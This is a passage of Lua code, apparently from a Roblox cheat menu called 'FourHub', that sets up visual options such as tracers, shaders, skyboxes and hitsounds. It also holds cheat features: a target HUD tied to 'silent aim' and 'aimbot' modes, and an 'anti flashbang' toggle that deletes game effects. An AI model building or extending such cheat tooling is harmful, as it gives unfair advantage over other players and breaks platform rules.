Rounding = 0, Visible = false, Callback = function(v) ELI.bullet_tracers.curve_height = v; end }); viewmodel_tab:AddDropdown('bullet_tracers_texture', { Values = {"beam", "lightning", "heartrate", "chain", "glitch", "swirl", "neon", "arrow1", "bullets1", "bullets2", "curve1", "curve2", "curve3", "curve4", "curve5", "curve6", "dna", "dna2", "dna3", "dna4", "dna5", "dna6", "dna7", "glow1", "laser1", "laser2", "laser3", "laser4", "laser5", "laser6", "line1", "line2", "line3", "line4", "line5", "none (solid)", "pattern1", "pattern2", "pattern3", "pattern4", "ray1", "ray2", "ray3"}, Default = 2, Multi = false, Text = 'texture', Visible = false, Callback = function(v) ELI.bullet_tracers.texture = v; end; }); viewmodel_tab:AddSlider('bullet_tracers_speed', { Text = 'speed', Default = 3, Min = 0, Max = 10, Rounding = 1, Visible = false, Callback = function(v) ELI.bullet_tracers.speed = v; end; }); viewmodel_tab:AddSlider('bullet_tracers_lifetime', { Text = 'lifetime', Default = 1.5, Min = 0.10, Max = 5, Rounding = 1, Suffix = 's', Visible = false, Callback = function(v) ELI.bullet_tracers.life_time = v; end; }); viewmodel_tab:AddSlider('bullet_tracers_position_lerp_speed', { Text = 'position lerp', Default = 0, Min = 0, Max = 3, Rounding = 1, Suffix = 's', Visible = false, Callback = function(v) ELI.bullet_tracers.position_lerp_speed = v; end; }); viewmodel_tab:AddSlider('bullet_tracers_width0', { Text = 'width start', Default = 0.35, Min = 0, Max = 2, Rounding = 2, Visible = false, Callback = function(v) ELI.bullet_tracers.width0 = v; end; }); viewmodel_tab:AddSlider('bullet_tracers_width1', { Text = 'width end', Default = 0.15, Min = 0, Max = 2, Rounding = 2, Visible = false, Callback = function(v) ELI.bullet_tracers.width1 = v; end; }); viewmodel_tab:AddToggle('bullet_tracers_spring_expand', { Text = 'spring expand', Default = false, Visible = false, Callback = function(v) ELI.bullet_tracers.spring_expand = v; Options.bullet_tracers_expand_speed:SetVisible(v); Options.bullet_tracers_expand_damper:SetVisible(v); end; }); viewmodel_tab:AddSlider('bullet_tracers_expand_speed', { Text = 'expand speed', Default = 12, Min = 1, Max = 40, Rounding = 1, Visible = false, Callback = function(v) ELI.bullet_tracers.expand_speed = v; end; }); viewmodel_tab:AddSlider('bullet_tracers_expand_damper', { Text = 'expand damper', Default = 0.6, Min = 0.1, Max = 1, Rounding = 2, Visible = false, Callback = function(v) ELI.bullet_tracers.expand_damper = v; end; }); end; local target_hud_box = visuals_tab:AddLeftGroupbox('target hud'); do target_hud_box:AddToggle('target_hud_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.target_hud.enable = v; G2L["2"]["Visible"] = false; end; }); target_hud_box:AddDropdown('target_hud_method', { Values = {"silent aim", "aimbot"}, Default = "", Multi = false, Text = 'target method', Callback = function(v) ELI.target_hud.target_method = v; end; }); target_hud_box:AddDropdown('target_hud_position', { Values = {"static", "center", "gunpoint", "target"}, Default = "static", Multi = false, Text = 'position', Callback = function(v) ELI.target_hud.position_mode = v; end; }); target_hud_box:AddSlider('target_hud_offset_x', { Text = 'offset x', Default = 0, Min = -500, Max = 500, Rounding = 0, Callback = function(v) ELI.target_hud.offset_x = v; end; }); target_hud_box:AddSlider('target_hud_offset_y', { Text = 'offset y', Default = 0, Min = -500, Max = 500, Rounding = 0, Callback = function(v) ELI.target_hud.offset_y = v; end; }); target_hud_box:AddSlider('target_hud_scale', { Text = 'size', Default = 1, Min = 0.5, Max = 2.5, Rounding = 2, Callback = function(v) ELI.target_hud.scale = v; end; }); end; local disable_anims_tab = visuals_tab:AddLeftGroupbox('disable animation'); do disable_anims_tab:AddToggle('disable_anims_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.disable_anims.enable = v; end; }); disable_anims_tab:AddDropdown('disable_anims_select', { Values = {"bobbing", "landing", "sway", "equip", "inspect", "sliding", "shoot", "impulse", "aim", "sprint", "attack", "charge", "reload", "throw"}, Default = {}, Multi = true, Text = 'types', Callback = function(v) local converted = {}; for k, val in next, v do converted[#converted + 1] = type(k) == "number" and val or k; end; ELI.disable_anims.select = converted; end; }); end; local motion_blur_tab = visuals_tab:AddLeftGroupbox('motion blur'); do motion_blur_tab:AddToggle('motion_blur_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.motion_blur.enable = v; end; }); motion_blur_tab:AddSlider('motion_blur_intensity', { Text = 'intensity', Default = 0.5, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.motion_blur.intensity = v; end; }); motion_blur_tab:AddSlider('motion_blur_sensitivity', { Text = 'sensitivity', Default = 1, Min = 0.1, Max = 3, Rounding = 2, Callback = function(v) ELI.motion_blur.sensitivity = v; end; }); end do local function spawnDeathEffect(pos) local cfg = ELI.death_effects; pcall(function() if cfg.type == "Explosion" then local e = Instance.new("Explosion"); e.Position = pos; e.BlastRadius = 0; e.BlastPressure = 0; e.DestroyJointRadiusPercent = 0; e.Parent = workspace; return end; local part = Instance.new("Part"); part.Anchored = true; part.CanCollide = false; part.CanQuery = false; part.CanTouch = false; part.Transparency = 1; part.Size = Vector3.new(1, 1, 1); part.CFrame = CFrame.new(pos); part.Parent = workspace; local att = Instance.new("Attachment"); att.Parent = part; local emitter = Instance.new("ParticleEmitter"); emitter.Color = ColorSequence.new(cfg.color); emitter.Lifetime = NumberRange.new(0.4, 0.9); emitter.Speed = NumberRange.new(12, 28); emitter.Rate = 0; emitter.SpreadAngle = Vector2.new(180, 180); emitter.Rotation = NumberRange.new(0, 360); emitter.Size = NumberSequence.new(1.5); if cfg.type == "Fire" then emitter.Texture = "rbxasset://textures/particles/fire_main.dds"; elseif cfg.type == "Sparkles" then emitter.Texture = "rbxasset://textures/particles/sparkles_main.dds"; emitter.LightEmission = 1; else emitter.Texture = "rbxasset://textures/particles/smoke_main.dds"; emitter.LightEmission = 1; end; emitter.Parent = att; emitter:Emit(45); task.delay(1.3, function() pcall(function() part:Destroy() end); end); end); end; local function hookDeath(plr) plr.CharacterAdded:Connect(function(char) local hum = char:WaitForChild("Humanoid", 6); if not hum then return end; hum.Died:Connect(function() if not ELI.death_effects.enable then return end; local root = char:FindFirstChild("HumanoidRootPart") or char:FindFirstChild("Head"); if root then spawnDeathEffect(root.Position); end; end); end); end; for _, plr in eli_ipairs(players:GetPlayers()) do hookDeath(plr); end; players.PlayerAdded:Connect(hookDeath); local death_tab = visuals_tab:AddLeftGroupbox('death effects'); death_tab:AddToggle('death_effects_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.death_effects.enable = v; end }):AddColorPicker('death_effects_color', { Title = 'color', Default = Color3.fromRGB(0, 30, 255), Callback = function(v) ELI.death_effects.color = v; end }); death_tab:AddDropdown('death_effects_type', { Text = 'effect', Default = 'Explosion', Values = { 'Explosion', 'Fire', 'Sparkles', 'Neon Burst' }, Callback = function(v) ELI.death_effects.type = v; end }); local dmg_tab = visuals_tab:AddRightGroupbox('damage numbers'); dmg_tab:AddToggle('damage_numbers_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.damage_numbers.enable = v; end }):AddColorPicker('damage_numbers_color1', { Title = 'color 1', Default = Color3.fromRGB(255, 80, 80), Callback = function(v) ELI.damage_numbers.color1 = v; end }):AddColorPicker('damage_numbers_color2', { Title = 'color 2', Default = Color3.fromRGB(255, 210, 90), Callback = function(v) ELI.damage_numbers.color2 = v; end }); dmg_tab:AddToggle('damage_numbers_remove_ingame', { Text = 'remove in game damage numbers', Default = false, Callback = function(v) ELI.damage_numbers.remove_ingame = v; end }); dmg_tab:AddDropdown('damage_numbers_color_type', { Text = 'color type', Default = 'Gradient', Values = { 'Gradient', 'Solid', 'Rainbow' }, Callback = function(v) ELI.damage_numbers.color_type = v; end }); dmg_tab:AddDropdown('damage_numbers_font', { Text = 'font', Default = 'GothamBold', Values = { 'GothamBold', 'GothamBlack', 'GothamMedium', 'Gotham', 'SourceSansBold', 'SourceSansSemibold', 'Code', 'RobotoMono', 'RobotoCondensed', 'Fantasy', 'Arcade', 'SciFi', 'Cartoon', 'Antique', 'Highway', 'Bangers', 'Michroma', 'LuckiestGuy', 'PermanentMarker', 'Creepster', 'FredokaOne', 'DenkOne', 'GrenzeGotisch', 'SpecialElite', 'Oswald', 'Sarpanch', 'TitilliumWeb', 'Ubuntu', 'JosefinSans', 'Jura', 'Kalam', 'IndieFlower', 'PatrickHand', 'AmaticSC', 'Merriweather', 'Nunito', 'Fondamento', 'Bodoni', 'Garamond', 'BuilderSansExtraBold', }, Callback = function(v) ELI.damage_numbers.font = v; end }); dmg_tab:AddSlider('damage_numbers_text_size', { Text = 'text size', Default = 18, Min = 10, Max = 40, Rounding = 0, Callback = function(v) ELI.damage_numbers.text_size = v; end }); dmg_tab:AddSlider('damage_numbers_rise', { Text = 'rise', Default = 42, Min = 0, Max = 120, Rounding = 0, Callback = function(v) ELI.damage_numbers.rise = v; end }); dmg_tab:AddSlider('damage_numbers_duration', { Text = 'duration', Default = 0.8, Min = 0.2, Max = 3, Rounding = 2, Suffix = 's', Callback = function(v) ELI.damage_numbers.duration = v; end }); local traj_tab = visuals_tab:AddLeftGroupbox('trajectory'); traj_tab:AddToggle('trajectory_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.trajectory.enable = v; end }):AddColorPicker('trajectory_color', { Title = 'color', Default = Color3.fromRGB(0, 30, 255), Callback = function(v) ELI.trajectory.color = v; end }); traj_tab:AddToggle('trajectory_all_weapons', { Text = 'all weapons', Default = false, Callback = function(v) ELI.trajectory.all_weapons = v; end }); traj_tab:AddSlider('trajectory_speed', { Text = 'throw speed', Default = 90, Min = 20, Max = 300, Rounding = 0, Callback = function(v) ELI.trajectory.speed = v; end }); traj_tab:AddSlider('trajectory_arc_up', { Text = 'arc height', Default = 10, Min = 0, Max = 60, Rounding = 0, Callback = function(v) ELI.trajectory.arc_up = v; end }); end; local viewmodel_custom_box = visuals_tab:AddLeftTabbox(); do local base_material_names = { "ForceField", "Neon", "Plastic", "SmoothPlastic", "Wood", "WoodPlanks", "Marble", "Slate" }; local vmc_main = viewmodel_custom_box:AddTab('viewmodel'); do vmc_main:AddToggle('vmc_enable', { Text = 'enabled', Default = false, Callback = function(v) ELI.viewmodel_custom.enable = v; end; }); end; local vmc_body = viewmodel_custom_box:AddTab('body'); do vmc_body:AddToggle('vmc_appearance', { Text = 'viewmodel appearance', Default = false, Callback = function(v) ELI.viewmodel_custom.appearance = v; end; }); vmc_body:AddToggle('vmc_body_color', { Text = 'color', Default = false, Callback = function(v) ELI.viewmodel_custom.body.color_enable = v; end; }):AddColorPicker('vmc_body_color_pick', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.viewmodel_custom.body.color = v; end; }); vmc_body:AddToggle('vmc_body_material', { Text = 'material', Default = false, Callback = function(v) ELI.viewmodel_custom.body.material_enable = v; Options.vmc_body_material_type:SetVisible(v); end; }); vmc_body:AddDropdown('vmc_body_material_type', { Text = 'material', Values = base_material_names, Default = 'ForceField', Visible = false, Callback = function(v) ELI.viewmodel_custom.body.material = v; end; }); vmc_body:AddToggle('vmc_body_disable_clothes', { Text = 'disable clothes', Default = false, Callback = function(v) ELI.viewmodel_custom.body.disable_clothes = v; end; }); vmc_body:AddSlider('vmc_body_transparency', { Text = 'transparency', Default = 0, Min = 0, Max = 100, Rounding = 0, Suffix = '%', Callback = function(v) ELI.viewmodel_custom.body.transparency = v; end; }); end; local vmc_item = viewmodel_custom_box:AddTab('item'); do vmc_item:AddToggle('vmc_item_color', { Text = 'color', Default = false, Callback = function(v) ELI.viewmodel_custom.item.color_enable = v; end; }):AddColorPicker('vmc_item_color_pick', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.viewmodel_custom.item.color = v; end; }); vmc_item:AddToggle('vmc_item_material', { Text = 'material', Default = false, Callback = function(v) ELI.viewmodel_custom.item.material_enable = v; Options.vmc_item_material_type:SetVisible(v); end; }); vmc_item:AddDropdown('vmc_item_material_type', { Text = 'material', Values = base_material_names, Default = 'ForceField', Visible = false, Callback = function(v) ELI.viewmodel_custom.item.material = v; end; }); vmc_item:AddSlider('vmc_item_transparency', { Text = 'transparency', Default = 0, Min = 0, Max = 100, Rounding = 0, Suffix = '%', Callback = function(v) ELI.viewmodel_custom.item.transparency = v; end; }); end; end; local sound_tabs = Tabs.visualstab:AddRightTabbox(); do local custom_hitsounds_tab = sound_tabs:AddTab('hitsounds'); do custom_hitsounds_tab:AddToggle('hitsound_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.custom_hitsounds.enable = v; end; }); custom_hitsounds_tab:AddToggle('disable_default_hitsound_enable', { Text = 'disable ingame hitsound', Default = false, Callback = function(v) ELI.custom_hitsounds.remove_default_hitsound = v; end; }); custom_hitsounds_tab:AddDropdown('hitsound_selected', { Values = {"windows xp", "minecraft bow", "neverlose", "steve", "among us", "bonk", "rust", "fatality", "hitmarker", "csgo", "minecraft success bow hit", 'gamesense',}, Default = "", Text = 'types', Callback = function(v) ELI.custom_hitsounds.selected = v; end; }); custom_hitsounds_tab:AddSlider('hitsound_volume', { Text = 'volume', Default = 3, Min = 0, Max = 5, Rounding = 1, Visible = true, Callback = function(v) ELI.custom_hitsounds.volume = v; end; }); custom_hitsounds_tab:AddSlider('hitsound_pitch', { Text = 'pitch', Default = 1, Min = 0.5, Max = 1.5, Rounding = 1, Visible = true, Callback = function(v) ELI.custom_hitsounds.pitch = v; end; }); end; end; local notify_hit_tab = Tabs.visualstab:AddRightGroupbox('hit notify'); do notify_hit_tab:AddToggle('hit_notify_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.hit_notify.enable = v; end; }); notify_hit_tab:AddSlider('hit_notify_duration', { Text = 'duration', Default = 3, Min = 1, Max = 5, Rounding = 1, Suffix = 's', Visible = true, Callback = function(v) ELI.hit_notify.duration = v; end; }); notify_hit_tab:AddInput('hit_notify_msg', { Text = 'message', Default = ELI.hit_notify.msg, ClearTextOnFocus = false, Callback = function(v) ELI.hit_notify.msg = v; end }); notify_hit_tab:AddDivider(); notify_hit_tab:AddLabel('hit_notify_formatting', { Text = "available formats:" }); notify_hit_tab:AddLabel('hit_notify_formatting', { Text = "{target}, {damage}, {hitpart}", DoesWrap = true, }); end; end; local world_tab = Tabs.worldtab; do local world_main_tab = world_tab:AddLeftTabbox(); do local color_correction_tab = world_main_tab:AddTab('color correction'); do color_correction_tab:AddToggle('world_fog', { Text = 'fog', Default = false, Callback = function(v) ELI.world.fog = v; if not v then lighting.FogColor = world.fog_color; lighting.FogStart = world.fog_start; lighting.FogEnd = world.fog_end; end; end }):AddColorPicker('fog_color', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.world.fog_color = v; end }); color_correction_tab:AddSlider('fog_start', { Text = 'fog start', Default = 150, Min = 0, Max = 10000, Rounding = 0, Callback = function(v) ELI.world.fog_start = v; end }); color_correction_tab:AddSlider('fog_end', { Text = 'fog end', Default = 550, Min = 0, Max = 10000, Rounding = 0, Callback = function(v) ELI.world.fog_end = v; end }); color_correction_tab:AddDivider(); color_correction_tab:AddToggle('world_ambient', { Text = 'ambient', Default = false, Callback = function(v) ELI.world.ambient = v; if not v then lighting.Ambient = world.ambient; end; end }):AddColorPicker('ambient_color', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.world.ambient_color = v; end }); color_correction_tab:AddToggle('world_clock', { Text = 'clock time', Default = false, Callback = function(v) ELI.world.clock = v; if not v then lighting.ClockTime = world.clock_time; end; end }); color_correction_tab:AddSlider('clock_time', { Text = 'time', Default = 14, Min = 0, Max = 24, Rounding = 1, Callback = function(v) ELI.world.clock_time = v; end }); color_correction_tab:AddToggle('world_brightness', { Text = 'brightness', Default = false, Callback = function(v) ELI.world.brightness = v; if not v then lighting.Brightness = world.brightness; end; end }); color_correction_tab:AddSlider('brightness_level', { Text = 'level', Default = 1, Min = 0, Max = 10, Rounding = 1, Callback = function(v) ELI.world.brightness_level = v; end }); color_correction_tab:AddToggle('world_exposure', { Text = 'exposure', Default = false, Callback = function(v) ELI.world.exposure = v; if not v then lighting.ExposureCompensation = world.exposure; end; end }); color_correction_tab:AddSlider('exposure_level', { Text = 'compensation', Default = 0, Min = -10, Max = 10, Rounding = 1, Callback = function(v) ELI.world.exposure_level = v; end }); color_correction_tab:AddToggle('world_color_shift_top', { Text = 'color shift top', Default = false, Callback = function(v) ELI.world.color_shift_top = v; if not v then lighting.ColorShift_Top = world.color_shift_top; end; end }):AddColorPicker('color_shift_top_color', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.world.color_shift_top_color = v; end }); color_correction_tab:AddToggle('world_color_shift_bottom', { Text = 'color shift bottom', Default = false, Callback = function(v) ELI.world.color_shift_bottom = v; if not v then lighting.ColorShift_Bottom = world.color_shift_bottom; end; end }):AddColorPicker('color_shift_bottom_color', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.world.color_shift_bottom_color = v; end }); color_correction_tab:AddDivider(); color_correction_tab:AddToggle('world_skybox', { Text = 'skybox', Default = false, Callback = function(v) ELI.world.skybox = v; skybox_changer:update_skybox(); end }); color_correction_tab:AddDropdown('world_skybox_selected', { Values = skybox_changer.elements, Default = 'Deep Space', Multi = false, Text = 'selected', Callback = function(v) ELI.world.skybox_selected = v; skybox_changer:update_skybox(); end; }); color_correction_tab:AddToggle('world_skybox_rotate', { Text = 'skybox rotator', Default = false, Callback = function(v) ELI.world.skybox_rotate = v; end }); color_correction_tab:AddSlider('world_skybox_rotate_speed', { Text = 'rotation speed', Default = 1, Min = 0, Max = 100, Rounding = 1, Callback = function(v) ELI.world.skybox_rotate_speed = v; end }); color_correction_tab:AddDropdown('world_skybox_rotate_direction', { Text = "direction", Values = {'Horizontal', 'Vertical', 'Diagonal'}, Default = "Horizontal", Callback = function(v) ELI.world.skybox_rotate_direction = v; end; }); color_correction_tab:AddDropdown('world_skybox_rotate_method', { Text = "method", Values = {'Spin', 'Wave', 'Alternate'}, Default = "Spin", Callback = function(v) ELI.world.skybox_rotate_method = v; end; }); color_correction_tab:AddDivider(); color_correction_tab:AddToggle('world_skybox_remove_sun', { Text = 'remove sun', Default = false, Callback = function(v) ELI.world.skybox_remove_sun = v; skybox_changer:update_skybox(); end }); color_correction_tab:AddToggle('world_skybox_remove_moon', { Text = 'remove moon', Default = false, Callback = function(v) ELI.world.skybox_remove_moon = v; skybox_changer:update_skybox(); end }); color_correction_tab:AddToggle('world_skybox_remove_stars', { Text = 'remove stars', Default = false, Callback = function(v) ELI.world.skybox_remove_stars = v; skybox_changer:update_skybox(); end }); end; local weather_tab = world_tab:AddRightGroupbox('weather'); do weather_tab:AddToggle('weather_enabled', { Text = "enable", Default = false, Callback = function(v) ELI.weather.enable = v; end; }):AddColorPicker('weather_color', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.weather.color = v; end; }); weather_tab:AddDropdown('weather_type', { Text = "type", Values = {'snow', 'rain', 'light rain'}, Default = "snow", Callback = function(v) ELI.weather.type = v; end; }); weather_tab:AddSlider('weather_rate', { Text = 'rate', Default = 100, Min = 100, Max = 300, Rounding = 0, Callback = function(v) ELI.weather.rate = v; end; }); end; local atmosphere_tab = world_main_tab:AddTab('atmosphere'); do atmosphere_tab:AddToggle('world_atmosphere', { Text = 'atmosphere', Default = false, Callback = function(v) ELI.world.atmosphere = v; atmosphere_changer:update_atmosphere(); end }):AddColorPicker('world_atmosphere_color', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.world.atmosphere_color = v; atmosphere_changer:update_atmosphere(); end }):AddColorPicker('world_atmosphere_decay', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.world.atmosphere_decay = v; atmosphere_changer:update_atmosphere(); end }); for _, property in next, atmosphere_changer.properties_list do atmosphere_tab:AddSlider('world_atmosphere_' .. property, { Text = property, Default = atmosphere_changer.properties[property], Min = 0, Max = property == 'density' and 1 or property == 'offset' and 1 or 10, Rounding = 2, Callback = function(v) ELI.world['atmosphere_' .. property] = v; atmosphere_changer:update_atmosphere(); end }); end; end; end; local removals_tab = world_tab:AddRightGroupbox('world removals'); do removals_tab:AddToggle('anti_flashbang_enable', { Text = 'anti flashbang', Default = false, Callback = function(v) if v then flash1 = workspace.ChildAdded:Connect(function(v) if v.Name == "FlashbangEffect" then v:Destroy(); end; end); flash2 = local_player.PlayerGui.ChildAdded:Connect(function(v) if v.Name == "FlashbangGui" then v:Destroy(); end; end); else if flash1 then flash1:Disconnect() end; if flash2 then flash2:Disconnect() end; end; end; }); end; local texture_connection = nil; local texture_originals = {}; local minecraft_textures = {}; local minecraft_faces = {'Front', 'Back', 'Bottom', 'Top', 'Right', 'Left'}; local minecraft_ids = { [Enum.Material.Wood] = '3258599312', [Enum.Material.WoodPlanks] = '8676581022', [Enum.Material.Brick] = '8558400252', [Enum.Material.Cobblestone] = '5003953441', [Enum.Material.Concrete] = '7341687607', [Enum.Material.DiamondPlate] = '6849247561', [Enum.Material.Fabric] = '118776397', [Enum.Material.Granite] = '4722586771', [Enum.Material.Grass] = '4722588177', [Enum.Material.Ice] = '3823766459', [Enum.Material.Marble] = '62967586', [Enum.Material.Metal] = '62967586', [Enum.Material.Sand] = '152572215', }; local material_lookup = {}; for _, material in eli_pairs(Enum.Material:GetEnumItems()) do material_lookup[string.lower(material.Name)] = material; end; local function resolve_material(name) return material_lookup[string.lower((name:gsub('%s+', '')))]; end; local function is_texture_excluded(part) if ELI.textures.apply_to_viewmodel then return false; end; local node = part; while node and node ~= workspace do if node:IsA("Model") and node:FindFirstChildOfClass("Humanoid") then return true; end; node = node.Parent; end; local viewmodels = workspace:FindFirstChild("ViewModels"); if viewmodels and part:IsDescendantOf(viewmodels) then return true; end; if camera and part:IsDescendantOf(camera) then return true; end; return false; end; local function clear_minecraft_texture(part) if minecraft_textures[part] then for _, tex in eli_pairs(minecraft_textures[part]) do if tex and tex.Parent then tex:Destroy(); end; end; minecraft_textures[part] = nil; end; end; local function apply_minecraft_texture(part, texture_id) clear_minecraft_texture(part); minecraft_textures[part] = {}; for _, face_name in eli_pairs(minecraft_faces) do local texture = Instance.new('Texture'); texture.Texture = 'rbxassetid://' .. texture_id; texture.Face = Enum.NormalId[face_name]; texture.Color3 = part.Color; texture.Transparency = part.Transparency; texture.StudsPerTileU = 3; texture.StudsPerTileV = 3; texture.Parent = part; table.insert(minecraft_textures[part], texture); end; end; local function apply_texture(part) if not part:IsA('BasePart') then return end; if is_texture_excluded(part) then return end; if not texture_originals[part] then texture_originals[part] = { Material = part.Material, Color = part.Color, }; end; local config = ELI.textures; part.Color = config.color; if config.material == 'Minecraft' then local source = texture_originals[part].Material; local id = minecraft_ids[source] or '5003953441'; apply_minecraft_texture(part, id); else clear_minecraft_texture(part); local material = resolve_material(config.material); if material then part.Material = material; end; end; end; local function applyToExisting() for part in eli_pairs(texture_originals) do if part and part.Parent then apply_texture(part); end; end; end; local function enableTextures() for _, part in eli_pairs(workspace:GetDescendants()) do apply_texture(part); end; if texture_connection then texture_connection:Disconnect(); end; texture_connection = workspace.DescendantAdded:Connect(function(part) if ELI.textures.enable then task.defer(apply_texture, part); end; end); trove:Add(texture_connection); end; local function disableTextures() if texture_connection then texture_connection:Disconnect(); texture_connection = nil; end; for part, props in eli_pairs(texture_originals) do if part and part.Parent then pcall(function() part.Material = props.Material; part.Color = props.Color; end); end; end; for part in eli_pairs(minecraft_textures) do clear_minecraft_texture(part); end; table.clear(texture_originals); end; local textures_tab = world_tab:AddLeftGroupbox('world textures'); do textures_tab:AddToggle('textures_enable', { Text = 'enable', Default = false, Callback = function(v) ELI.textures.enable = v; if v then enableTextures(); else disableTextures(); end; end }); textures_tab:AddDropdown('textures_material', { Values = {'Air', 'Asphalt', 'Basalt', 'Brick', 'Cardboard', 'Carpet', 'Ceramic Tiles', 'Clay Roof Tiles', 'Cobblestone', 'Concrete', 'Corroded Metal', 'Cracked Lava', 'Diamond Plate', 'Fabric', 'Foil', 'Forcefield', 'Glacier', 'Glass', 'Granite', 'Grass', 'Ground', 'Ice', 'Leafy Grass', 'Leather', 'Limestone', 'Marble', 'Metal', 'Minecraft', 'Mud', 'Neon', 'Pavement', 'Pebble', 'Plaster', 'Plastic', 'Rock', 'Roof Shingles', 'Rubber', 'Salt', 'Sand', 'Sandstone', 'Slate', 'Smooth Plastic', 'Snow', 'Water', 'Wood', 'Wood Planks'}, Default = 'Brick', Multi = false, Text = 'material', Callback = function(v) ELI.textures.material = v; if ELI.textures.enable then applyToExisting(); end; end }); textures_tab:AddLabel('texture color'):AddColorPicker('textures_color', { Default = Color3.fromRGB(244, 244, 244), Callback = function(v) ELI.textures.color = v; if ELI.textures.enable then applyToExisting(); end; end }); textures_tab:AddToggle('textures_apply_to_viewmodel', { Text = 'apply to viewmodel', Default = false, Callback = function(v) ELI.textures.apply_to_viewmodel = v; if ELI.textures.enable then disableTextures(); enableTextures(); end; end }); end; local shader_blur = Instance.new('BlurEffect'); shader_blur.Name = 'FourHub_blur'; shader_blur.Enabled = false; shader_blur.Size = 12; shader_blur.Parent = lighting; trove:Add(shader_blur); local shader_bloom = Instance.new('BloomEffect'); shader_bloom.Name = 'FourHub_bloom'; shader_bloom.Enabled = false; shader_bloom.Intensity = 1; shader_bloom.Size = 24; shader_bloom.Threshold = 0.9; shader_bloom.Parent = lighting; trove:Add(shader_bloom); local shader_dof = Instance.new('DepthOfFieldEffect'); shader_dof.Name = 'FourHub_dof'; shader_dof.Enabled = false; shader_dof.FocusDistance = 25; shader_dof.InFocusRadius = 10; shader_dof.NearIntensity = 0.15; shader_dof.FarIntensity = 0.15; shader_dof.Parent = lighting; trove:Add(shader_dof); local shader_sunrays = Instance.new('SunRaysEffect'); shader_sunrays.Name = 'FourHub_sunrays'; shader_sunrays.Enabled = false; shader_sunrays.Intensity = 0.25; shader_sunrays.Spread = 1; shader_sunrays.Parent = lighting; trove:Add(shader_sunrays); local shader_cc = Instance.new('ColorCorrectionEffect'); shader_cc.Name = 'FourHub_cc'; shader_cc.Enabled = false; shader_cc.Saturation = 0; shader_cc.Contrast = 0; shader_cc.TintColor = Color3.fromRGB(255, 255, 255); shader_cc.Parent = lighting; trove:Add(shader_cc); local shaders_tab = world_tab:AddLeftGroupbox('shaders'); do shaders_tab:AddToggle('shader_blur', { Text = 'blur', Default = false, Callback = function(v) ELI.world.blur = v; shader_blur.Enabled = v; end }); shaders_tab:AddSlider('shader_blur_size', { Text = 'blur size', Default = 12, Min = 0, Max = 56, Rounding = 0, Callback = function(v) ELI.world.blur_size = v; shader_blur.Size = v; end }); shaders_tab:AddToggle('shader_bloom', { Text = 'bloom', Default = false, Callback = function(v) ELI.world.bloom = v; shader_bloom.Enabled = v; end }); shaders_tab:AddSlider('shader_bloom_intensity', { Text = 'bloom intensity', Default = 1, Min = 0, Max = 5, Rounding = 2, Callback = function(v) ELI.world.bloom_intensity = v; shader_bloom.Intensity = v; end }); shaders_tab:AddSlider('shader_bloom_size', { Text = 'bloom size', Default = 24, Min = 0, Max = 56, Rounding = 0, Callback = function(v) ELI.world.bloom_size = v; shader_bloom.Size = v; end }); shaders_tab:AddSlider('shader_bloom_threshold', { Text = 'bloom threshold', Default = 0.9, Min = 0, Max = 2, Rounding = 2, Callback = function(v) ELI.world.bloom_threshold = v; shader_bloom.Threshold = v; end }); shaders_tab:AddToggle('shader_dof', { Text = 'depth of field', Default = false, Callback = function(v) ELI.world.depth_of_field = v; shader_dof.Enabled = v; end }); shaders_tab:AddSlider('shader_dof_focus', { Text = 'focus distance', Default = 25, Min = 0, Max = 500, Rounding = 0, Callback = function(v) ELI.world.dof_focus = v; shader_dof.FocusDistance = v; end }); shaders_tab:AddSlider('shader_dof_intensity', { Text = 'blur intensity', Default = 0.15, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.world.dof_intensity = v; shader_dof.NearIntensity = v; shader_dof.FarIntensity = v; end }); shaders_tab:AddToggle('shader_sun_rays', { Text = 'sun rays', Default = false, Callback = function(v) ELI.world.sun_rays = v; shader_sunrays.Enabled = v; end }); shaders_tab:AddSlider('shader_sun_rays_intensity', { Text = 'rays intensity', Default = 0.25, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.world.sun_rays_intensity = v; shader_sunrays.Intensity = v; end }); shaders_tab:AddSlider('shader_sun_rays_spread', { Text = 'rays spread', Default = 1, Min = 0, Max = 1, Rounding = 2, Callback = function(v) ELI.world.sun_rays_spread = v; shader_sunrays.Spread = v; end }); shaders_tab:AddToggle('shader_saturation', { Text = 'color grading', Default = false, Callback = function(v) ELI.world.saturation = v; shader_cc.Enabled = v; end }):AddColorPicker('shader_tint', { Default = Color3.fromRGB(255, 255, 255), Callback = function(v) ELI.world.tint_color = v; shader_cc.TintColor = v; end }); shaders_tab:AddSlider('shader_saturation_level', { Text = 'saturation', Default = 0, Min = -1, Max = 5, Rounding = 2, Callback = function(v) ELI.world.saturation_level = v; shader_cc.Saturation = v; end }); shaders_tab:AddSlider('shader_contrast_level', { Text = 'contrast', Default = 0, Min = -1, Max = 1, Rounding = 2, Callback = function(v) ELI.world.contrast_level = v; shader_cc.Contrast = v; end }); end; local quality_tab = world_tab:AddLeftGroupbox('quality'); do local default_technology = lighting.Technology; local default_global_shadows = lighting.GlobalShadows; local default_env_diffuse = lighting.EnvironmentDiffuseScale; local default_env_specular = lighting.EnvironmentSpecularScale; local default_outdoor_ambient = lighting.OutdoorAmbient; quality_tab:AddDropdown('world_lighting_technology_mode', { Text = 'lighting technology', Values = { 'Legacy', 'Voxel', 'ShadowMap', 'Future' }, Default = 'Future', Callback = function(v) ELI.world.lighting_technology_mode = v; if ELI.world.lighting_technology then pcall(function() lighting.Technology = Enum.Technology[v]; end); end; end }); quality_tab:AddToggle('world_lighting_technology', { Text = 'apply lighting technology', Default = 